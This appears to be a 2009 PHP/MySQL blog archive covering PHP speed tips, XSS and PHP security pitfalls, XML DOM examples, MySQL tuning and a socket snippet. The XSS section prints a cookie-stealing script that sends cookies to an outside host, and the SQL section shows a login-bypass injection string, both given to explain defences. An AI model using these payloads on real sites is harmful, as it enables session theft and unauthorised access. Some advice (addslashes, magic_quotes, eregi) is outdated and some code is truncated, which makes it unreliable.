Tuesday, January 27, 2009

PHP Optimization tips

  1. If a method can be static, declare it static. Speed improvement is by a factor of 4.
  2. echo is faster than print.
  3. Use echo's multiple parameters instead of string concatenation.
  4. Set the maxvalue for your for-loops before and not in the loop.
  5. Unset your variables to free memory, especially large arrays.
  6. Avoid magic like __get, __set, __autoload
  7. require_once() is expensive
  8. Use full paths in includes and requires, less time spent on resolving the OS paths.
  9. If you need to find out the time when the script started executing, $_SERVER[’REQUEST_TIME’] is preferred to time()
  10. See if you can use strncasecmp, strpbrk and stripos instead of regex
  11. str_replace is faster than preg_replace, but strtr is faster than str_replace by a factor of 4
  12. If the function, such as string replacement function, accepts both arrays and single characters as arguments, and if your argument list is not too long, consider writing a few redundant replacement statements, passing one character at a time, instead of one line of code that accepts arrays as search and replace arguments.
  13. It's better to use switch statements than multi if, else if, statements.
  14. Error suppression with @ is very slow.
  15. Turn on apache's mod_deflate
  16. Close your database connections when you're done with them
  17. $row[’id’] is 7 times faster than $row[id]
  18. Error messages are expensive
  19. Do not use functions inside of for loop, such as for ($x=0; $x <>
  20. Incrementing a local variable in a method is the fastest. Nearly the same as calling a local variable in a function.
  21. Incrementing a global variable is 2 times slow than a local var.
  22. Incrementing an object property (eg. $this->prop++) is 3 times slower than a local variable.
  23. Incrementing an undefined local variable is 9-10 times slower than a pre-initialized one.
  24. Just declaring a global variable without using it in a function also slows things down (by about the same amount as incrementing a local var). PHP probably does a check to see if the global exists.
  25. Method invocation appears to be independent of the number of methods defined in the class because I added 10 more methods to the test class (before and after the test method) with no change in performance.
  26. Methods in derived classes run faster than ones defined in the base class.
  27. A function call with one parameter and an empty function body takes about the same time as doing 7-8 $localvar++ operations. A similar method call is of course about 15 $localvar++ operations.
  28. Surrounding your string by ' instead of " will make things interpret a little faster since php looks for variables inside "..." but not inside '...'. Of course you can only do this when you don't need to have variables in the string.
  29. When echoing strings it's faster to separate them by comma instead of dot. Note: This only works with echo, which is a function that can take several strings as arguments.
  30. A PHP script will be served at least 2-10 times slower than a static HTML page by Apache. Try to use more static HTML pages and fewer scripts.
  31. Your PHP scripts are recompiled every time unless the scripts are cached. Install a PHP caching product to typically increase performance by 25-100% by removing compile times.
  32. Cache as much as possible. Use memcached - memcached is a high-performance memory object caching system intended to speed up dynamic web applications by alleviating database load. OP code caches are useful so that your script does not have to be compiled on every request
  33. When working with strings and you need to check that the string is either of a certain length you'd understandably would want to use the strlen() function. This function is pretty quick since it's operation does not perform any calculation but merely return the already known length of a string available in the zval structure (internal C struct used to store variables in PHP). However because strlen() is a function it is still somewhat slow because the function call requires several operations such as lowercase & hashtable lookup followed by the execution of said function. In some instance you can improve the speed of your code by using an isset() trick.
  34. Ex.
  35. if (strlen($foo) <>
  36. vs.
  37. if (!isset($foo{5})) { echo "Foo is too short"; }
  38. Calling isset() happens to be faster then strlen() because unlike strlen(), isset() is a language construct and not a function meaning that it's execution does not require function lookups and lowercase. This means you have virtually no overhead on top of the actual code that determines the string's length.
  39. When incrementing or decrementing the value of the variable $i++ happens to be a tad slower then ++$i. This is something PHP specific and does not apply to other languages, so don't go modifying your C or Java code thinking it'll suddenly become faster, it won't. ++$i happens to be faster in PHP because instead of 4 opcodes used for $i++ you only need 3. Post incrementation actually causes in the creation of a temporary var that is then incremented. While pre-incrementation increases the original value directly. This is one of the optimization that opcode optimized like Zend's PHP optimizer. It is a still a good idea to keep in mind since not all opcode optimizers perform this optimization and there are plenty of ISPs and servers running without an opcode optimizer.
  40. Not everything has to be OOP, often it is too much overhead, each method and object call consumes a lot of memory.
  41. Do not implement every data structure as a class, arrays are useful, too
  42. Don't split methods too much, think, which code you will really re-use
  43. You can always split the code of a method later, when needed
  44. Make use of the countless predefined functions
  45. If you have very time consuming functions in your code, consider writing them as C extensions
  46. Profile your code. A profiler shows you, which parts of your code consumes how many time. The Xdebug debugger already contains a profiler. Profiling shows you the bottlenecks in overview
  47. mod_gzip which is available as an Apache module compresses your data on the fly and can reduce the data to transfer up to 80%

Cross Site Scripting Attack Prevetion

Cross Site Scripting Attack

In general, cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim.

A basic example of XSS is when a malicious user injects a script in a legitimate shopping site URL which in turn redirects a user to a fake but identical page. The malicious page would run a script to capture the cookie of the user browsing the shopping site, and that cookie gets sent to the malicious user who can now hijack the legitimate user’s session. Although no real hack has been performed against the shopping site, XSS has still exploited a scripting weakness in the page to snare a user and take command of his session. A trick which often is used to make malicious URLs less obvious is to have the XSS part of the URL encoded in HEX (or other encoding methods). This will look harmless to the user who recognizes the URL he is familiar with, and simply disregards and following ‘tricked’ code which would be encoded and therefore inconspicuous.

Exploited XSS is commonly used to achieve the following malicious results:

• Identity theft
• Accessing sensitive or restricted information
• Gaining free access to otherwise paid for content
• Spying on user’s web browsing habits
• Altering browser functionality
• Public defamation of an individual or corporation
• Web application defacement
• Denial of Service attacks

Cross Site Scripting Examples

1.<script>

document.write('<script src=" http://phpmysqlportals.blogspot.com /get_cookies?cookies=' + document.cookie + '"></script>');

</script>

The problem is that cookies are often used as session identifiers of logged users. If somebody steals the cookies that your browser uses to access a domain, that person can access the same site on your behalf and abuse from the privileges that you have.

Depending on what each site provides, the consequences can be catastrophic. Imagine if you are accessing an e-commerce site that stores information about your credit card and displays it in your profile pages. An attacker may steal that information and cause you financial losses.

2. It will go to my site <img src=”http://google.com/images/logo.gif” onload=”window.location= http://phpmysqlportals.blogspot.com ’” />

The best protection for XSS is a combination of "whitelist" validation of all incoming data and appropriate encoding of all output data. Validation allows the detection of attacks, and encoding prevents any successful script injection from running in the browser.
Preventing XSS across an entire application requires a consistent architectural approach:
• Input validation. Use a standard input validation mechanism to validate all input data for length, type, syntax, and business rules before accepting the data to be displayed or stored. Use an "accept known good" validation strategy. Reject invalid input rather than attempting to sanitize potentially hostile data. Do not forget that error messages might also include invalid data.
• Strong output encoding. Ensure that all user-supplied data is appropriately entity encoded (either HTML or XML depending on the output mechanism) before rendering, taking the approach to encode all characters other than a very limited subset. This is the approach of the Microsoft Anti-XSS library, and the forthcoming OWASP PHP Anti-XSS library. Also, set the character encodings for each page you output, which will reduce exposure to some variants.
• Specify the output encoding (such as ISO 8859-1 or UTF 8). Do not allow the attacker to choose this for your users.
• Do not use "blacklist" validation to detect XSS in input or to encode output. Searching for and replacing just a few characters ("<" ">" and other similar characters or phrases such as “script”) is weak and has been attacked successfully. Even an unchecked “” tag is unsafe in some contexts. XSS has a surprising number of variants that make it easy to bypass blacklist validation.
• Watch out for canonicalization errors. Inputs must be decoded and canonicalized to the application’s current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.
• Filter HTML code to remove any JavaScript.

PHP:

Use htmlspecialchars() to print contents.

PHP Security issues

Avoid Using Variables When Accessing Files

Code:
include($lib_dir . "functions.inc");
include($page);

Issue:
The user could set the $lib_dir or $page variables and include files such as /etc/passwd or remote files such as http://www.some-site.com/whatever.php with malicious code. This malicious code could potentially delete files, corrupt databases, or change the values of variables used to track authentication status.

Fixes or Improvements:

Avoid using variables as file names. The $lib_dir variable above could be replaced with a value defined by the PHP define function.

1. Check the file name against a list of valid file names. For example,
$valid_pages = array(
"apage.php" => "",
"another.php" => "",
"more.php" => "");

if (!isset($valid_pages[$page])) {
// Abort the script
// You should probably write a log message here too
die ("Invalid request");
}

2. If you must really use a variable from the browser, check the variable's value using code like the following:

if (!(eregi("^[a-z_./]*$", $page) && !eregi("\\.\\.", $page))) {
// Abort the script
// You should probably write a log message here too
die("Invalid request");
}

3. Use the allow_url_fopen and open_basedir configuration variables to limit the locations where files can be opened from.


Escape characters in SQL statements


A common mistake is to use a variable value supplied by the user or the URL in an SQL query without escaping special characters. Consider the following fragment of code from a script designed to authenticate a username and password entered in a HTML form:
$query = "SELECT * FROM users WHERE username='" . $username . "'
AND password='" . $password . "'";

// the record exists function is defined elsewhere
if (record_exists($query)) {
echo "Access granted";
} else {
echo "Access denied";
}

Issue :

his code would work when accessed using check.php?username=admin&password=x. However, if the code were accessed using check.php?username=admin&password=a%27+OR+1%3Di%271 (and if magic_quotes_gpc were disabled) then the password condition becomes Password='a' or 1='1' so that the admin user record would always be returned regardless of the password it contained.

Fixes or Improvements:

1. This problem is partly avoided when the magic_quotes_gpc variable is on in the php.ini file, meaning that PHP will escape quotes in GET, POST, and cookie data using the \ character.
2. Use the built-in addslashes function or a similar function to escape quotes and backslashes in SQL statements with backslashes.
3. If you are using variables which you expect to contain numbers in your SQL statement, ensure that they really do contain numbers. You can use various built-in PHP functions including sprintf, ereg and is_long, to perform this check.


Do Not Trust Global Variables

// Assume $article_id is set by the URL
if ($article_id == 0) {
$guest_ok = true;
}

if (!$guest_ok) {
// Check user is authenticated using a function defined elsewhere
check_auth();
}

Issue:
This code may appear to work, because the $guest_ok variable will generally be initialized to false. However, if a malicious user includes guest_ok=1 in the URL, he will be granted access to any article in the system.

Fixes or Improvements
• Disable register_globals in your php.ini file. After making this change, you will need to use the $_GET and $_POST arrays to access GET and POST inputs instead of using global variables. This can be tedious, but also far more secure.
• If a "Remember My Login" function is required, include a password or a hard to guess random identifier in the cookie. (A "Remember My Login" function can still produce other holes such as malicious user who shares a machine with a legitimate user to gain access.)
• Write code to initialize all global variables. The previous code fragment could be improved by initializing $guest_ok to false at the start of the script.
• Ensure session variables really do come from the session and not from a malicious user.

Avoid False Uploads


File uploads can suffer from a severe case of the untrusted global variables problem that is worth considering as an additional problem. When a file is uploaded, a PHP script is given a variable that provides the name of the temporary file where PHP saves the uploaded file. However, the user could construct a URL that sets this variable to a malicious value such as /etc/passwd and not upload a file. The responding script may then copy that file to an accessible location or display the file's contents to the user.

Escape HTML Characters in text

What happens if somebody puts a blink tag in a posting to a discussion board? If you don't escape HTML characters in text either before you save or display it, all subsequent text on the page could be blinking. More severe versions of this attack are also possible; for example an attacker could write JavaScript that takes the browser to a competitor's site.

Fixes or Improvements
• Escape HTML appropriately either before you save it or before you display it. You can use PHP's built-in functions htmlspecialchars or htmlentities for this purpose.
• If you want untrusted users to use HTML for formatting, you should perform validation to restrict the available HTML tags to a basic tags set.

Sunday, January 18, 2009

PHP and XML with DOMDocument Class

XML stands for Extensible Markup Language. XML is a wonderful technique to store and transport data.Here is the example to create an XML file with PHP DOMDocument class.

$sXML = '<root><element><key>a</key><value>b</value></element></root>' ;
$doc = new DOMDocument();
$doc->preserveWhiteSpace = false;
$doc->formatOutput = true;
$doc->loadXML($sXML);
echo $doc->saveXML();
?>

This is another methode to create an XML file using DOMDocument class

createElement( "Music" );
$xml_track = $xml->createElement( "Track", "Karnatic" );
// Set the attributes.
$xml_track->setAttribute( "length", "0:01:15" );
$xml_track->setAttribute( "bitrate", "64kb/s" );
$xml_track->setAttribute( "channels", "2" );
// Create another element.
$xml_note = $xml->createElement( "Note", "Golden Melody of Subalakshmi" );
// Append the whole bunch.
$xml_track->appendChild( $xml_note );
$xml_album->appendChild( $xml_track );
// Repeat the above with some different values..
$xml_track = $xml->createElement( "Track", "Hindutani" );
$xml_track->setAttribute( "length", "0:01:33" );
$xml_track->setAttribute( "bitrate", "64kb/s" );
$xml_track->setAttribute( "channels", "2" );
$xml_note = $xml->createElement( "Note", "Melodies of Pandit Bheem Sen Joshi" );
$xml_track->appendChild( $xml_note );
$xml_album->appendChild( $xml_track );
$xml->appendChild( $xml_album );
// Parse the XML.print
$xml->saveXML();
?>

Friday, January 16, 2009

XML Parsing with PHP

XML stands for Extensible Markup Language. XML is a wonderful technique to store and transport data.

Main characteristics of XML are:

XML stands for Extensible Markup Language
XML is a markup language much like HTML
XML was designed to transport and store data.
XML was designed to carry data, not to display data
XML tags are not predefined. You must define your own tags
XML is designed to be self-descriptive
XML is a W3C Recommendation

XML is used to Create New Internet Languages

XHTML the latest version of HTML
WSDL for describing available web services
WAP and WML as markup languages for handheld devices
RSS languages for news feeds
RDF and OWL for describing resources and ontology
SMIL for describing multimedia for the web

PHP and XML

The DOM extension allows you to operate on XML documents through the DOM API with PHP 5.DOM stands for Document Object Model.

Here is the example for XML parsing with PHP

$indent = "";
$file = "mydata.xml";
document_element();
printElements($rootDomNode);


function printElements($domNode)
{
if($domNode)
{
global $indent;
if($domNode->node_type() == XML_ELEMENT_NODE)
{
print "".$indent."<".$domNode->node_name();
if($domNode->has_attributes())
{
$attributes = $domNode->attributes();
foreach($attributes as $domAttribute)
{
print " $domAttribute->name=\"$domAttribute->value\"";
}
}
print ">";
if($domNode->has_child_nodes())
{
$indent.=" ";
$nextNode = $domNode->first_child();
printElements($nextNode);
$indent= substr($indent, 0, strlen($indent)-2);
print "
".$indent."<"."/".$domNode->node_name().">";
}
else
{
print "$domNode->node_value()</".$domNode->node_name().">";
}
}
$nextNode = $domNode->next_sibling();
printElements($nextNode);
}
}
?>

Friday, January 9, 2009

MySQL performance tuning tips

PHP and MySQL are the best combination for large scale web portals. Not only these softwares are open source but also it offers fantastic performance. But data base and application optimization is a critical factor in the performance of a large scale web portal. We are running a web portal http://www.commodityonline.com/ with MySQL database and PHP script. In the early ages, the website was working fine, but when the user base becomes larger its MySQL performance became a headache for us. It had been hanging in our visitor’s prime time. Some time the CPU load shoot up to 100 -120 percent. By that time only we have thought seriously about performance tuning of MySQL. Here are some tips for better MySQL performance. These tips are only from my experience. It may not be applicable in different situations.

MySQL Queries
One of the factors with the biggest impact on database performance is not the MySQL settings, but your queries! Make sure you have optimized all your queries first, and have created the right indexes on your tables for MySQL to use.
A useful MySQL command for this is EXPLAIN. If you use EXPLAIN SELECT * FROM table WHERE field="something" , MySQL will tell you how many rows it needs to search, and what index it can use for this, among other things.

My.CNF
After you have optimized your queries and created indexes, you can start tweaking your my.cnf MySQL configuration file. Keep in mind that if you optimize or change something you should be able to benchmark it to make sure it will actually increase the performance.
Here is a sample my.cnf file (MySQL 4.1) for use on a dual processor server with 2GB of RAM memory:
# The following options will be passed to all MySQL clients
[client]
socket=/tmp/mysql.sock
# The MySQL server
[mysqld]
tmpdir=/tmp
socket=/tmp/mysql.sock
skip-locking
skip-networking
skip-name-resolve

server-id=1

max_connections=500
key_buffer_size=384M
max_allowed_packet=16M
table_cache=256
sort_buffer_size=2M
read_buffer_size=2M
join_buffer_size=2M

# if you are performing GROUP BY or ORDER BY queries on tables that
# are much larger than your available memory, you should increase
# the value of read_rnd_buffer_size to speed up the reading of rows
# following sorting operations.
# but: change the session variable only from within those clients
# that need to run large queries
read_rnd_buffer_size=2M

max_heap_table_size=256M
tmp_table_size=256M

myisam_sort_buffer_size=64M

# increase until threads_created doesnt grow anymore
thread_cache=256

query_cache_type=1
query_cache_limit=1M
query_cache_size=32M

# Try number of CPU's*2 for thread_concurrency
thread_concurrency=4


[mysqldump]
quick
max_allowed_packet=16M

[mysql]
no-auto-rehash

[isamchk]
key_buffer=128M
sort_buffer_size=128M
read_buffer=2M
write_buffer=2M

[myisamchk]
key_buffer=128M
sort_buffer_size=128M
read_buffer=2M
write_buffer=2M

[mysqlhotcopy]
interactive-timeout
You can use the SHOW STATUS MySQL command to monitor some of the variables (like Threads_created , Created_tmp_disk_tables , Created_tmp_tables and so on).

Fetching data from telnet connection using PHP

Fetching data from telnet connection using PHP is very simple.we can use PHP socket functions for this purpose.This is the example code.
$fp = fsockopen("www.sportsinweb.com", 80, $errno, $errstr, 30);
if(!$fp ){
echo "ERROR: $errno - $errstr
\n";
}
else
{
while (!feof($fp))
{
echo fgets($fp, 128);
// You can receive it to a string and can process instead of echo
}
fclose($fp);
}